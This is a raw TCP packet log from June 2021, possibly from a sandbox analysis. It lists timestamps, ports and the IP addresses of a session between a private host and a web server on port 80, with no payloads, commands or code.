Jun 16, 2021 12:06:04.280373096 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.280410051 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.280436993 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.280453920 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.280467033 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.280493975 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.280500889 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.280523062 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.280550957 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.280559063 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.280585051 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.280616045 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.280626059 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.280649900 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.280682087 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.280684948 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.280713081 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.280744076 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.280746937 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.280776024 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.280806065 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.280808926 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.280837059 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.280869961 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.281306982 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.281342983 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.281372070 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.281385899 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.281399012 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.281424999 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.281434059 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.281450033 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.281474113 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.281486988 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.281498909 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.281523943 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.281532049 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.281549931 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.281575918 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.281584024 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.281604052 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.281632900 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.281640053 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.281657934 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.281683922 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.281694889 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.281711102 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.281716108 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.282136917 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.282207966 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.282243013 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.282272100 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.282279968 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.282305002 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.282335997 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.282339096 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.282367945 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.282401085 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.282402992 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.282433987 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.282465935 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.282469034 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.282499075 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.282531023 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.282531977 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.282568932 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.282597065 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.282607079 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.282629013 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.282658100 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.282665014 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.282685995 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.282717943 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.283190012 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.283227921 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.283256054 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.283272982 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.283284903 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.283313990 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.283320904 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.283341885 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.283370972 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.283374071 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.283399105 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.283427000 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.283433914 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.283456087 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.283482075 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.283489943 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.283509970 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.283540010 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.283541918 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.283571005 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.283603907 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.283607960 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.283637047 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.283673048 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.284070015 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.284104109 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.284132004 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.284151077 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.284161091 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.284188986 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.284213066 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.284214973 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.284243107 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.284250975 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.284272909 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.284301043 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.284307957 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.284328938 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.284356117 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.284363985 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.284384966 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.284414053 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.284419060 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.284441948 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.284470081 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.284478903 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.284496069 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.284533978 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.284991026 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.285027981 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.285057068 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.285069942 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.285087109 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.285119057 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.285126925 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.285147905 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.285175085 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.285182953 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.285206079 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.285239935 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.285243988 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.285270929 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.285304070 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.285306931 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.285341024 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.285370111 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.285375118 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.285397053 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.285424948 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.285429001 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.285453081 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.285484076 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.285907030 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.285940886 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.285972118 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.285983086 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.286000967 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.286030054 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.286036968 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.286057949 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.286087990 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.286091089 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.286118031 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.286147118 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.286150932 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.286175013 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.286204100 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.286210060 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.286231995 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.286259890 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.286267042 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.286292076 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.286323071 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.286324978 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.286354065 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.286387920 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.286860943 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.286948919 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.286982059 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.287010908 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.287012100 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.287040949 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.287045002 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.287070990 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.287097931 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.287106037 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.287146091 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.287177086 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.287180901 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.287209034 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.287240982 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.287242889 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.287271976 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.287303925 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.287306070 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.287334919 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.287364960 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.287367105 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.287395954 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.287431955 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.287805080 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.287839890 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.287869930 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.287882090 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.287903070 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.287934065 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.287947893 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.287966013 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.287998915 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.288003922 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.288031101 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.288063049 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.288064957 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.288094044 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.288124084 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.288131952 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.288155079 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.288187981 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.288192034 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.288218021 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.288249016 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.288280964 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.288281918 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.288315058 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.288707972 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.288747072 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.288779020 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.288788080 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.288810968 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.288844109 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.288849115 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.288876057 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.288908005 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.288911104 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.288938999 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.288970947 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.288971901 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.289002895 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.289036036 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.289036989 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.289066076 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.289098978 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.289103031 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.289130926 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.289163113 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.289165020 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.289196014 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.289230108 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.289623022 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.289660931 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.289695024 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.289705038 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.289726973 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.289761066 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.289766073 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.289793968 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.289828062 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.289828062 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.289861917 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.289892912 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.289894104 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.289927006 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.289958000 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.289958954 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.289989948 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.290019989 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.290020943 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.290050983 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.290081978 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.290083885 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.290116072 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.290150881 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.290528059 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.290559053 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.290601969 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.290606022 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.290631056 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.290662050 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.290668964 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.290690899 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.290719986 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.290728092 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.290750027 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.290776968 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.290780067 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.290807009 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.290836096 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.290837049 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.290864944 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.290894032 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.290896893 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.290923119 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.290951967 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.290955067 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.290982008 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.291024923 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.291507959 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.291548014 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.291580915 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.291593075 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.291618109 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.291651011 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.291652918 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.291683912 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.291714907 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.291716099 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.291749954 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.291780949 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.291780949 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.291815996 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.291850090 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.291851997 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.291884899 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.291914940 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.291924000 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.291949987 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.291985035 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.291986942 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.292016983 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.292049885 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.292387009 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.292423964 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.292457104 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.292462111 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.292495966 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.292525053 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.292531013 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.292553902 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.292582989 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.292586088 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.292613983 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.292646885 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.292656898 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.292675972 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.292705059 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.292718887 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.292733908 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.292762041 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.292769909 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.292792082 CEST	80	49170	172.67.158.27	192.168.2.22
